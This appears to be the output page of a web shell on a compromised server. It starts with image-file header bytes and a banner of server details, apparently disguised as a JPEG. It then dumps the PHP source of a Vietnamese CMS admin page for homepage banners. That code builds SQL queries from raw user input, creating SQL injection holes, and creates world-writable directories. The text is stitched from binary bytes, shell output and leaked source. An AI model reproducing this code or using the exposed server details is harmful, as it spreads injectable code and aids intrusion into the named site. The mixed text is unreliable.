ÿØÿà JFIF ÿÛ „ ( %"1"%)+...383,7(-.-
![]() Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20 System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64 User : apache ( 48) PHP Version : 7.4.20 Disable Function : NONE Directory : /var/www/html/okanime.top/code/admin/homepage/ |
<?php $CORE->page_title = 'Admin Settings'; $type='list_slider_home'; if(isset($CORE->input['type']) && $CORE->input['type']!=''){ $type=$CORE->input['type']; } switch ($type){ default: $keyword = isset($CORE->input['fkeyword']) ? $CORE->input['fkeyword'] : ''; $where = " WHERE banner_title<>'' "; if($keyword!='') { $where .= " AND (banner_title LIKE '%".$keyword."%' or banner_etitle LIKE '%".$keyword."%') "; } $pageNum = isset($_GET['pageNum']) ? intval($_GET['pageNum']) : 1; $pageSize = 100; $from = (($pageNum * $pageSize) - $pageSize); $t = $DB->fetch_row($DB->query("SELECT count(*) as total FROM tb_banner ".$where)); $total = $t['total']; $totalPage = ceil($total / $pageSize); $query = $DB->query("SELECT * FROM tb_banner ".$where." ORDER BY `banner_pos` ASC LIMIT $from, $pageSize"); $txt_list_banner = ''; while($row = $DB->fetch_row($query)) { $txt_list_banner .= '<tr> <td><input name="txt_pos['.$row['banner_id'].'][]" class="form-control" type="text" value="'.$row['banner_pos'].'" style="width:100px;"></td> <td>'.$row['banner_title'].'</td> <td><img src="upload/logos/'.$row['banner_img'].'" style="width: 100px;"></td> <td>'.$row['banner_url'].'</td> <td>'.date('d-m-Y',strtotime($row['banner_time'])).'</td> <td> <a href="?act=admin&code=homepage&type=post_banner&banner_id='.$row['banner_id'].'" class="btn btn-warning"><i class="fas fa-edit"></i> Edit</a> <a href="?act=admin&code=homepage&type=delete_banner&banner_id='.$row['banner_id'].'" class="btn btn-danger" onclick="return confirm(\'Are you sure want to delete?\');"><i class="far fa-trash-alt"></i> Delete</a> </td> </tr>'; } $nav = $print->Pagination($totalPage,$pageNum,'menu','?act=admin&code=homepage&type=list_slider_home&fkeyword='.$keyword); $html_block = 'list'; $type2 = isset($CORE->input['type2']) ? $CORE->input['type2'] : ''; if($type2=='update_pos'){ $pos = $CORE->input['txt_pos']; foreach ($pos as $key=>$val){ $DB->query("UPDATE tb_banner SET banner_pos = '".$val[0]."' WHERE banner_id='$key' "); } unset($pos); $print->refresh('?act=admin&code=homepage&type=list_slider_home'); } break; case 'post_banner': $banner_id = (isset($CORE->input['banner_id']) && $CORE->input['banner_id']>0) ? $CORE->input['banner_id'] : 0 ; if($banner_id==0){ $row_check = $DB->get_colum_tb('tb_banner'); }else{ $row_check = $DB->fetch_row($DB->query("SELECT * FROM tb_banner WHERE banner_id='$banner_id' ")); } if(isset($CORE->input['submitbt'])){ $f = $CORE->input['f']; if(intval($f['banner_id'])==0){ $arr_insert = array('banner_title'=>trim($f['banner_title']),'banner_url'=>trim($f['banner_url']),'banner_target'=>$f['banner_target'],'banner_pos'=>$f['banner_pos'],'banner_time'=>date('Y-m-d H:i:s')); $banner_id = $DB->do_insert('tb_banner',$arr_insert); if($arr_option['show_en']=='yes'){ $DB->query("UPDATE tb_banner SET banner_etitle='".trim($f['banner_etitle'])."' WHERE banner_id='$banner_id' "); } }else{ $banner_id = intval($f['banner_id']); $DB->query("UPDATE tb_banner SET banner_title='".trim($f['banner_title'])."',banner_url='".trim($f['banner_url'])."',banner_target='".$f['banner_target']."',banner_pos='".$f['banner_pos']."' WHERE banner_id='$banner_id' "); if($arr_option['show_en']=='yes'){ $DB->query("UPDATE tb_banner SET banner_etitle='".trim($f['banner_etitle'])."' WHERE banner_id='$banner_id' "); } } include 'lib/class.upload.php'; if($_FILES['image_field']){ $handle = new upload($_FILES['image_field']); if ($handle->uploaded) { $v_image_name = 'banner_'.time().'_'.uniqid(); $handle->allowed = array('image/*'); $handle->file_new_name_body = $v_image_name; $handle->file_max_size = '1000000'; $handle->image_convert = 'png'; $year_now = date('Y'); $month_now = date('m'); if(!is_dir("upload/logos")){ mkdir("upload/logos", 0777); } if (is_dir("upload/logos/" . $year_now)) { if (!is_dir("upload/logos/" . $year_now . "/" . $month_now)) { mkdir("upload/logos/" . $year_now . "/" . $month_now, 0777); } } else { mkdir("upload/logos/" . $year_now, 0777); if (!is_dir("upload/logos/" . $year_now . "/" . $month_now)) { mkdir("upload/logos/" . $year_now . "/" . $month_now, 0777); } } $v_folder = $year_now . "/" . $month_now; $handle->process(ROOT_PATH.'upload/logos/'.$v_folder.'/'); $v_image_folder = $v_folder.'/'.$v_image_name.'.png'; if ($handle->processed) { if(intval($f['banner_id'])>0){ $row_check = $DB->fetch_row($DB->query("SELECT * FROM tb_banner WHERE banner_id='".intval($f['banner_id'])."' ")); if(isset($arr_option['banner_img']) and $arr_option['banner_img']!='') { @unlink(ROOT_PATH . 'upload/logos/'.$arr_option['banner_img']); } } $DB->query("UPDATE tb_banner SET banner_img='".$v_image_folder."' WHERE banner_id='".$banner_id."' "); $handle->clean(); } else { $handle->clean(); $print->refresh('?act=admin&code=homepage&type=list_slider_home','!Upload Error: '.$handle->error,5); } } } $print->refresh('?act=admin&code=homepage&type=list_slider_home'); } break; case 'block_home': include 'block_home.php'; break; case 'add_block': include 'add_block.php'; break; case 'list_block': include 'list_block.php'; break; case 'post_vitri_block': $i = 0; $txt = ''; foreach ($_POST['block'] as $value) { $txt .= $value.'<br/>'; $DB->query("UPDATE tb_block SET block_pos='".$i."' WHERE block_id='$value' "); // Execute statement: // UPDATE [Table] SET [Position] = $i WHERE [EntityId] = $value $i++; } echo $txt; exit(); break; } include ROOT_PATH . 'include/block/header_admin.php'; ?> <div class="content-wrapper"> <!-- Content Header (Page header) --> <div class="content-header"> <div class="container-fluid"> <div class="row mb-2"> <div class="col-sm-6"> <h1 class="m-0">Quản lý trang chủ</h1> </div><!-- /.col --> <div class="col-sm-6"> <ol class="breadcrumb float-sm-right"> <li class="breadcrumb-item"><a href="?">Home</a></li> <li class="breadcrumb-item active">Quản lý trang chủ</li> </ol> </div><!-- /.col --> </div><!-- /.row --> </div><!-- /.container-fluid --> </div> <!-- /.content-header --> <!-- Main content --> <section class="content"> <div class="container-fluid"> <!-- Small boxes (Stat box) --> <div class="row"> <div class="col-md-12"> <?php if($type=='post_banner'){ ?> <ul class="nav nav-tabs"> <li class="nav-item"> <a class="nav-link active" aria-current="page" href="?act=admin&code=homepage&type=list_slider_home">Quản lý banner slider</a> </li> <li class="nav-item"> <a class="nav-link" href="?act=admin&code=homepage&type=block_home">Quản lý các block trang chủ</a> </li> </ul> <div class="card"> <div class="card-header">Cáºp nháºt banner</div> <div class="card-body"> <form action="?act=admin&code=homepage&type=post_banner" method="post" enctype="multipart/form-data"> <input type="hidden" value="<?php echo $row_check['banner_id'];?>" name="f[banner_id]"> <div class="form-body"> <div class="row p-t-20"> <div class="col-md-12"> <div class="form-group"> <label class="control-label">Tên banner</label> <input type="text" class="form-control" placeholder="" name="f[banner_title]" value="<?php echo $row_check['banner_title'];?>" required> </div> </div> <?php if($arr_option['show_en']=='yes') { ?> <div class="col-md-12"> <div class="form-group"> <label class="control-label">Tên banner tiếng Anh</label> <input type="text" class="form-control" placeholder="" name="f[banner_etitle]" value="<?php echo $row_check['banner_etitle'];?>" > </div> </div> <?php } ?> <div class="col-md-12"> <div class="form-group"> <label class="control-label">Ảnh banner</label> <?php if($row_check['banner_img']!='' and file_exists(ROOT_PATH.'upload/logos/'.$row_check['banner_img']) ) { $txt_file_default = 'upload/logos/' . $row_check['banner_img']; }else{ $txt_file_default = ''; } ?> <input type="file" name="image_field" class="dropify" data-default-file="<?php echo $txt_file_default;?>" data-height="100" data-max-file-size="1M" data-show-remove="false"> </div> </div> </div> <div class="row"> <div class="col-md-6"> <div class="form-group"> <label class="control-label">URL</label> <input type="text" class="form-control" placeholder="" name="f[banner_url]" value="<?php echo $row_check['banner_url'];?>" required> </div> </div> <div class="col-md-4"> <div class="form-group"> <label class="control-label">Target</label> <select name="f[banner_target]" class="form-control" required> <option value="_blank" <?php if($row_check['banner_target']=='_blank'){ echo 'selected';}?>>Mở tab má»›i</option> <option value="_parent" <?php if($row_check['banner_target']=='_parent'){ echo 'selected';}?>>Không mở tab má»›i</option> </select> </div> </div> <div class="col-md-2"> <div class="form-group"> <label class="control-label">Vị trÃ</label> <input type="number" class="form-control" placeholder="" name="f[banner_pos]" value="<?php echo $row_check['banner_pos'];?>" required> </div> </div> </div> <div class="form-actions"> <button type="submit" class="btn btn-success" name="submitbt"> <i class="fa fa-check"></i> Cáºp nháºt</button> <button type="button" class="btn btn-default" onclick="location.href='?act=admin&code=homepage&type=list_slider_home'"><i class="fas fa-ban"></i> Hủy bá»</button> </div> </div> </form> </div> </div> <?php } ?> <?php if($type=='list_slider_home'){ ?> <ul class="nav nav-tabs"> <li class="nav-item"> <a class="nav-link active" aria-current="page" href="?act=admin&code=homepage&type=list_slider_home">Quản lý banner slider</a> </li> <li class="nav-item"> <a class="nav-link" href="?act=admin&code=homepage&type=block_home">Quản lý các block trang chủ</a> </li> </ul> <div class="card"> <div class="card-header"> Danh sách banner slider <div class="card-tools"> <div class="d-flex"> <div class="mr-auto"> <div class="form-group"> <a href="?act=admin&code=homepage&type=post_banner" class="btn btn-primary btn-sm"><i class="fa fa-plus"></i> Thêm má»›i </a> <a href="javascript:void(0);" class="btn btn-primary btn-sm" id="update_pos"><i class="fa fa-bars"></i> Cáºp nháºt vị trà </a> </div> </div> <div class="ml-2"> <div class="form-group"> <input id="demo-input-search2" type="text" placeholder="Nháºp từ khóa và bấm Enter" autocomplete="off" class="module_title_search" value="<?php echo $keyword;?>"> <input type="hidden" value="act=admin&code=homepage&type=list_slider_home" id="txt_code_search"> </div> </div> </div> </div> </div> <div class="card-body"> <form action="" method="post" id="form_quick_update"> <input type="hidden" name="type2" value=""> <table class="table table-bordered color-table info-table"> <thead> <tr> <th>Vị trÃ</th> <th>Tên banner</th> <th>Ảnh banner</th> <th>URL</th> <th>Ngà y gởi</th> <th>#</th> </tr> </thead> <tbody> <?php echo $txt_list_banner;?> </tbody> </table> </form> <div class="text-right footable"> <ul class="pagination" style="float: right;"> <?php echo $nav;?> </ul> </div> </div> </div> <?php } ?> <?php if($type=='block_home'){ include 'block_home_tpl.php'; } ?> <?php if($type=='add_block'){ include 'add_block_tpl.php'; } ?> <?php if($type=='list_block'){ include 'list_block_tpl.php'; } ?> </div> </div> </div> </section> </div> <div id="myModal" class="modal fade" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true"> <div class="modal-dialog modal-lg"> <div class="modal-content"> <iframe width="100%" height="600" frameborder="0" allowfullscreen=""></iframe> </div> </div> </div> <script> $('.link_xem').click(function () { var block_id = $(this).attr('rel'); var src = '<?php echo $INFO['home_url'];?>index.php?act=block&code=detail&block_id='+block_id; $('#myModal').modal('show'); $('#myModal iframe').attr('src', src); }); $('#myModal button').click(function () { $('#myModal iframe').removeAttr('src'); }); </script> <script> $(function () { // CodeMirror CodeMirror.fromTextArea(document.getElementById("block_detail"), { mode: "htmlmixed", lineNumbers: true, theme: "monokai" }).setSize('100%', 600); <?php if($arr_option['show_en']=='yes') { ?> CodeMirror.fromTextArea(document.getElementById("block_edetail"), { mode: "htmlmixed", lineNumbers: true, theme: "monokai" }).setSize('100%', 600); <?php } ?> }) </script> <?php include 'include/block/footer_admin.php'; ?>